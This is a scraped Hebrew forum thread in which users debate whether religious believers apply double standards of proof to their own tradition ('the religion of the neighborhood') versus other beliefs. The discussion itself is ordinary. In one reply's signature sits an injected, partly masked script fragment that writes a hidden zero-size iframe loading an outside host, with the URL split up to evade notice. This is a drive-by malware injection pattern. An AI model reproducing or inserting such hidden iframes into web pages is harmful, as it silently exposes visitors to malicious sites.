בית פורומים עצור כאן חושבים

דת השכונה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-6/5/2011 00:16 לינק ישיר 
דת השכונה

 

 

בכמה אשכולות טענתי שניתן להבחין אצל חלק מהעצכחים, כי  לצד הביקורת והבחינה המדוקדקת של אמונות שונות במאזני השכל וההיגיון, ישנה קבלה אקסיומטית של אמונות אחרות, בדרך כלל עיקרי הדת היהודית המינימליים, למרות אי עמידה בתנאי הביקורת המחמירה אותם הם עצמם מעמידים בפני מאמינים לא עצכחים.

בהכללה, ניתן לזהות תופעה רחבה אותה אני מכנה "דת השכונה". מאמיניה הם אנשים המבינים היטב, ברמות שונות של תודעתם, כי אין אפשרות להוכיח את קיומו של אלוהים בוודאי שלא אלוהים דתי שלא לומר יהודי, אך אין בהם את העוז הנפשי להסיק את המתבקש מאליו כתוצאה מוכרחת מהבנתם הם. בדרך כלל, מנהג אבותיהם בידם וכל הסבריהם ההגיוניים והאינטואיטיביים יקלעו תמיד לגרעין הדת המקובלת בשכונה בה הם נולדו במקרה גמור.

בקיצור, הופכים את העולם "להסביר" אמונה שאילולי נקלעו אליה במקרה לא היו טורחים כלל להתייחס אליה ועכשיו שנקלעו (החץ נורה) עסוקים בלתרץ ולהסביר (משרטטים את העיגול) דברים שהם עצמם לא מוכנים לקבל בדיון על אמונה שאינה "דת השכונה".

דברי מופנים למי שמקבל כי כדי לקיים דיון מכל סוג שהוא יש לקבוע את כללי ההוכחה איתם אנו משתמשים ולהחילם באופן אחיד, על כל הדיון. אין זה אומר שאת כל הדברים בעולם ניתן לבדוק באותה צורה בדיוק. אך ברובד הבסיסי, מי שמקבל את ההיגיון כמצפן  אמור, לכאורה, להפעילו במידה שווה בכל דיון.

במתמטיקה לא נצפה "להבין" את  התוצאה. נסתפק בהכרח בהוכחתה. אחד ועוד אחד הם שתיים גם אם אני לא מבין מדוע. בכל מדע מדויק הגורם המוביל הוא הבחינה והבדיקה. רק לאחריהן מגיע שלב ההסברים. זו בעצם מתודת המדע המודרני על רגל אחת. (אני מודע לטענה כי כל מדע מתחיל מהנחה מסוימת ורק לאחריה באה הבדיקה, אך במסגרת הבדיקה המדע מוכן לשנות בכל שלב את הנחתו הראשונית האינטואיטיבית).

בעולם הרגשות, כגון פחד, קנאה, שנאה, אין מקום לטיעונים הגיוניים. ניתן לנתח את התחושות, לנסות לשנות אותן בטיעונים כאלה ואחרים. המילה האחרונה תהיה שמורה לרגש.

בסוגיות תיאולוגיות אמוניות מבחן ההיגיון הוא הקובע. ברור שלכל אחד הזכות לחוש שיש אלוהים, דיבוקים , כישופים, שדים וידעונים, אך מי שרוצה לקיים בירור עם זולתו בסוגיות אלו הדרך היחידה היא שימוש בהגיון והוכחה. אינני שולל אפשרות של התגלות, אך היא צריכה להיות גלויה וברורה ולהיבדק מפני כל חשש לאחיזת עיניים.

 והנה, בשאלה הכה נכבדה, כיצד נוצר עולמינו והאם יש אלוהים, נלאו כל חכמי הדורות מלהוכיח דבר ודאי. אם על אלוהים פילוסופי יש עוד מקום לבעל דין לחלוק, למרות כל הסתירות מיניה וביה ברעיון האלוהים, אלוהים דתי לא הוכח מעולם וניתן לומר ברמה גבוהה של וודאות כי הוא בלתי אפשרי מבחינה פילוסופית.

אם הייתה התגלות המצביעה שיש אלוהים היינו נאלצים לכוף דעתנו בפני המציאות. העניין הוא שככל הידוע התגלות מעין זו לא התרחשה מעולם. על כל פנים אין ראיות סבירות להתרחשות מעין זו.

נשאלת השאלה, בנוסח אותו אשכול "למה אתם מאמינים".

כאן אני צריך לעשות הפסקה קצרה. אולי יבא מישהו ויוכיח שיש אלוהים דתי והוא גם התגלה. למיטב שיפוטי לא ראיתי ניסיון רציני להוכיח זאת אפילו לא כאן בפורום. האינטואיציות בעניין אין להם שום ערך מוסף על האינטואיציה הקבלית ועל האינטואיציה שיש גלגולים ועוד ועוד.

יש אמנם אמונות טפלות המעוררות גיחוך במבט ראשון. אך מישהו כאן יכול לומר בוודאות מוחלטת כי אין גלגולים? שעין הרע לא מזיקה? הטענה היא שאדרבא, יש להוכיח את קיומם של דברים ולא את שלילתם.

העובדה שרעיון מסוים מופיע בתנ"ך או בכל מסורת אחרת אינה הוכחה. אנו יודעים כמעט בדיוק איך הדברים התהוו ומה היו המניעים הפסיכולוגיים להתהוותם. קשה מאד גם להתעלם מכך כי אותו תנ"ך המודיע על קיומו של אלוהים גם מספר לנו אותות ומופתים שבהם העצכחים לא מאמינים כפשוטם. מין ברירה טבעית.

האם אין כאן התעלמות מהמציאות. מין פלגינן האומר, כל מה שלא הגיוני בתנ"ך כנראה רק מטאפורי, אבל הגרעין היסודי הוא אמתי. האם אין ההגינות מחייבת  להסיק כי לא ניתן לסמוך כלל על מי שהאמין בכל האותות והמופתים וראה לנכון לכתבם בתנ"ך.

בהתכתבות אישית עם הרב מיימוני, הוא ביקש ממני להביא דוגמאות לטענתי כי נעשה לעתים שימוש בסטנדרטים כפולים ביחס לאמונות שונות.

האם יש הבדל בין מי "שמאמין" באלוהים לבין מי "שמאמין" בגלגולים?

האם שאלות ביקורת המקרא מטרידות פחות מהשאלות על הזהר? ברור ששערי הסברים ותירוצים לא ננעלו, אבל האם ניתן לומר ביושר כי התורה כצורתה ניתנה למשה בסיני? ואם לא הכול, האם ניתן להצביע בוודאות שלפחות החלק העיקרי ניתן למשה בסיני? האם בוחנים ביושר את אמתות התורה באותם סטנדרטים ולפי אותו רף הוכחה כפי שדורשים מהקבלה ומכל האמונות שאינם עצכחיות?

האם באמת יש הבדל מהותי בין הלכה לבין חומרא ומנהג וכי אין נוהגין יו"ט שני מחמת מנהג אבותיהם. זה בסדר, אני מודע להבדלים במשמעות המילה מנהג, אני רק טוען כי ההלכה עצמה כפי שאנו מכירים את התהוותה היא תערובת של עקרונות, ערכים, פולחנים ומסורת. ההפרדה בין מעיקר הדין לחומרא היא כמעט רק כרונולוגית, הרי גם מה שמכונה עיקר הדין הוא בדרך כלל מוצר אבולוציוני שעבר כמה וכמה גלגולים עד להתקבעותו הסופית בנקודה מסוימת שמשם ואילך כל תוספת היא "חומרא". מי שאינו קראי, (גם במקרא יש דינמיקה הלכתית כידוע) על סמך מה הוא קובע את הנקודה העלומה בה מסתיימת ההלכה ומתחילה החומרא או המנהג.

טענת "שמים בתורה" אינה רלוונטית כלל. אין לי בעיה עם מי שטוען כי שמים בתורה. הוא רק צריך להבהיר אם בכל התורה הוא מוצא רק שמים והאם אין עוד מקומות שניתן למצוא בהם שמים (מגילת זכויות האדם, למשל). יש לי גם תחושה שעושים שימוש מניפולטיבי בטיעון לצורך הסחת הדעת מהעיקר. אין לטיעון זה שום משמעות לשאלות היסוד אותן העליתי. בפועל, נעשה בו שימוש בחצי קריצה, להצדקת אמונת תורה מן השמים.

אינני מתייחס כלל למי שבוחר להישאר לחיות בסביבתו הטבעית או אפילו מי שחושב שסביבתו הטבעית היא צורת החיים היעילה וההגונה ביותר. זו שאלה לגמרי פרקטית. אני מתייחס למי "שמאמין" שהיהדות היא אמת בעלת תוקף עצמי.

ברגע שמקבלים אמונה כלשהי מסיבות שאינן ברות הוכחה ושכנוע, אין מקום לשלול אמונות אחרות ואין שום משמעות לטיעונים הגיוניים השוללים אמונתה של שכונה אחרת.

איך כתב הרב מיימוני בלשונו הזהב: "אם יש מכנה משותף שאמור לאפיין את המשתתפים אצלנו, הרי זה נאמנות לצורת דיון. מודעות עצמית להשקפותינו ולהנחות היסוד שלנו, תוך מוכנות לבחון אותן. (לבחון זה לא אומר לזרוק"). http://www.bhol-forums.co.il/topic.asp?cat_id=24&topic_id=2891265&forum_id=1364

לבחון באמת אפשר רק עם מוכנות אמתית לזרוק אם יתברר כי מדובר באשפה תיאולוגית

 

קבלת היהדות "מספק" היא בעצם ביטוי מועצם של קבלת עול מלכות דת השכונה.

 

 

 




דווח על תוכן פוגעני

מנותק
נשלח ב-5/2/2014 01:26 לינק ישיר 

הוקפץ עקב דיון באשכול סמוך.



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/9/2011 06:42 לינק ישיר 


http://www.ynet.co.il/articles/0,7340,L-4115994,00.html



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/9/2011 13:17 לינק ישיר 

השאלה אם יש אלוקים היא רק חלק קטן מדת השכונה.

מכל מקום, נא הסבר האם ואיך לדעתך יש כ 50% לאלוקים דתי יהודי.



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/9/2011 08:31 לינק ישיר 

אליס
למיטב זכרוני דברתי על השאלה אם יש אלוקים



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/9/2011 00:43 לינק ישיר 

מיימוני כתב:
ייתכן


יהי אור

ה"קבלה" היא גוש גדול של טענות מסוגים שונים.

קח לדוגמא את האשכול על קדמות הזוהר, שבו מוכח (לדעתי, על פי נימוקים כמובן) שהזוהר לא יכול היה לצאת מידי רשב"י.

האם לדעתך זו טעות לסבור כן? אתה מוזמן להגיב שם.

יש גם אשכולות נוספים על הקבלה. אתה מוזמן בכל אחד מהם להסביר במה אני טועה ומדוע. אשמח לקרוא. (אבל האשכול הזה עמוס דיו מכפי שיכול לשאת עוד נושא...).

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


נדמה לי שכבר כתבתי את דעתי על הקבלה והזהר שם ושם. הענין כאן הוא לא הקבלה אלא טענתך שבזה שאתה פוסל את הקבלה אתה מוכיח את מידת הברור שאתה מוכן לעשות על היהדות לאפוקי מטענת דת השכונה. ועל זה אמרתי שאם זו טענה אז לכל היותר זו טענה להיפך. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/9/2011 23:34 לינק ישיר 

תלמיד. יש עשרת אלפים שכונות, לכל אחת יש קרוב לאמצע סיכויים??? משונה?



דדווח על תוכן פוגעני

מחובר
נשלח ב-2/9/2011 09:07 לינק ישיר 


אז חזרנו ל"הכרעה" של לייבוביץ ...

על כך שאין אנו יודעים כיצד ההכרעה מתבצעת בתוככי האדם, ראה בשפת אמת עה"ת - ליקוטים, לחודש אלול.

השכונה הענקית, אימצה בעיקרון את המתודה המדעית כבוחן אובייקטיבי הניתן לבדיקה לכל מאן דבעי ועל פיו ישק כל דבר. אכן בתחום הערכים, הדת וכו' הנתונים כאמור להכרעה אישית, גם באותה שכונה רבת מימדים, ישנן השפעות לשני הכיוונים.

תוקן על ידי ספרן ב- 02/09/2011 09:34:26




דדווח על תוכן פוגעני

מנותק
נשלח ב-2/9/2011 08:10 לינק ישיר 

 

אליס

בוודאי. אבל חושבני שהעניין נע בשיעור מסויים מהאמצע לכאן או לשם. איני חושב שיש ראיות מכריעות לכאן או לכאן. חושבני גם שהכרעה כזו איננו מבינים ואיננו יכולים להבין איך נעשית בתוככי האדם. ברור שלחינוך, סביבה, ועוד יש השפעה וההשפעה היא לשני הכוונים, ולא כפי שמנסים להציג. גם שכונה ענקית היא שכונה וחובת ההוכחה מוטלת עליה לא פחות.  




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/9/2011 13:19 לינק ישיר 

האם אינך חושב כי זה תלוי ברמת הספק?



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/9/2011 12:55 לינק ישיר 

 

ספרן

איני בא כאן לדון על רמת הסבירות. כל שהתייחסתי איליו היתה הקביעה של ייתכן בסוף הודעתו הראשונה "קבלת היהדות "מספק" היא בעצם ביטוי מועצם של קבלת עול מלכות דת השכונה". (ציטוט ). וזה לא נכון.
יותר מזה - חושבני שמי שספק מאמין ומספק מקיים אינו כופר בעיניים הלכתיות




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/9/2011 12:52 לינק ישיר 

לדייר

"צענע אני רק בא להראות שייתכן משתמש בדוקינס כמן שחסיד שוטה של ברסלב משתמש בליקוטי מוהר"ן מצטט בלי להבין ובלי להבחין על מה הוא מדבר. אחרי זה הוא עוד מטיף על דת השכונה על זה אמרו חז"ל קשוט עצמך ואחר כך קשוט אחרים. "

נובע מדבריך שכל מי שטועה בהבנת דבר אחד בדבר צדדי ביותר בתורה הוא חסיד שוטה של התורה כולה.

יוצא מכך שכל עם ישראל בלי יוצא מן הכלל הם חסידים שוטים.

לייתכן

"צענע, דוקינס מתייחס לאלו המנסים להשלות כי הדת היא הגיונית. אליהם מתייחסת הפרודיה. את מאמצת את מסקנתו כי הדת הינה אמונה. אני מסכים לחלוטין כי לאמונה שאינה נובעת מהוכחות או מהגיון, כללים שונים מלמדע. זה בדיוק מה שדוקינס מנסה להוכיח. שהדת אינה נובעת מהגיון. כך הבנתי. לכן קישרתי זאת לאשכול דת השכונה"
 
יש להבדיל בין ההוכחות למציאות בורא לעולם לבין ההוכחות להתגלות על הר סיני,,ללידת ישו מבתולה,לסוסו המעופפף של מוחמד.
אם תכנס לאתר הדברות תראה שהם מצטטים בעיקר פרופסורים נוצרים בריאתנים כי אצלינו אין הרבה פרופסורים בריאתנים כי אין חרדי שהוא פרופסור(איך היה מוצא שידוך?)
כלומר "ההוכחות"למיניהן שמביאים אותם בריאתנים( ושאותם מאמצים המחבתים למיניהם בשמחה (שהרי ,מה לעשות,"חכמה בגויים תאמין) הן משותפות  לכל הדתות המונותאיסטיות ואילו ההפרדה לדתות השכונה נעשית רק לגבי מה היו מעשיו של בורא העולם ולאיזה שכונה הוא חילק את הניסים המרשימים ביותר ואת ההתגלות הברורה יותר.

ובאותה פרודיה דוקינס מדבר על שוני בהוכחות לעצם המצאות בורא לעולם וכאן הוא טועה כי בנקודה זו אין שוני בין הדתות .


הפרודיה הכי מוצלחת  שניתן לחבר היא בנושא אימוץ רעיון האבולוציה על ידי  דתיים והתאמתה כביכול למה שכתוב בתורה.
 רק חבל שלא קם עוד הקומיקאי המוכשר שיעשה את זה.





תוקן על ידי צענערענע ב- 01/09/2011 13:04:15




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/9/2011 09:55 לינק ישיר 


תלמיד, לכן, בלית ברירה, הסבירות היא האמורה להורות  על מספר האחוזים המשוער. אחר אותה סבירות תר האשכול.



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/9/2011 09:39 לינק ישיר 

 

אין ספק שאנשים בנויים כך שקל להם להצדיק את אורח חייהם מאשר לשנות. היות וההכרעה הדתית מאוד אמורפית ותלויה בשערה אך טבעי שקורה כך. טיפש מי שטוען שרוב החושבים היהודיים הדתיים לו היו נולדים בחברה אחרת היו דתיים. אבל משנולדת כך או כך והאמונה אינה תלויה בעובדות ובתופעות ברות בדיקה ולכל היותר העובדות והתופעות יכולות לתת ראיות שאינן מוכרחות אין לאדם ברירה אלא להשתמש במעט שיש ולשקלל את הראיות.  שב ואל תעשה הינו פתרון רק כאשר לדעת האדם האחוזים (שאי אפשר למודדם בדיוק) פחות או יותר שווים. כאמור, ברור שהשקלול מוטה לפי נתוני המוצא של האדם.




דדווח על תוכן פוגעני

מחובר
נשלח ב-1/9/2011 09:09 לינק ישיר 


תלמיד, זו כל השאלה, מדוע הוא מקבל דווקא את דת שכונתו כאמת. הרי מגוון האפשרויות העומדות לפניו גדול וסותר בין אפשרות (דת, זרם וכו') אחת לאחרת. ואותו ה"זר" אומר לעצמו: שב ואל תעשה עדיף.



דדווח על תוכן פוגעני

מנותק
נשלח ב-1/9/2011 08:44 לינק ישיר 

 

ספרן

לא הבנתי. גם זר (להוציא מתושב השכונה) ששומע את הרעיון "אלוקים מחייב מעשים" (הדגשתי שאני כותב בהנחה שהדת אינה וולונטרית) נדרש להכריע אם הוא נכון. זה כל מה שכתבתי (ודישה הלוך ושוב שאין די נתונים להכרעה חד משמעית מוכחת בהוכחה מוחלטת אינה פותרת). שיכריע גם שלא. כלאחר יד או מתוך היסוסים רבים. מי שמכריע שכן מכריע שב 60% (נניח) זו האמצת העובדתית והוא "חייב" לה וממילא כופה אחרים כי הכפיה מחוייבת עליו במסגרת הדת הזו, שהוא מקבלה כאמת.




דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > דת השכונה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 ... 12 13 14 לדף הבא סך הכל 14 דפים.

bholext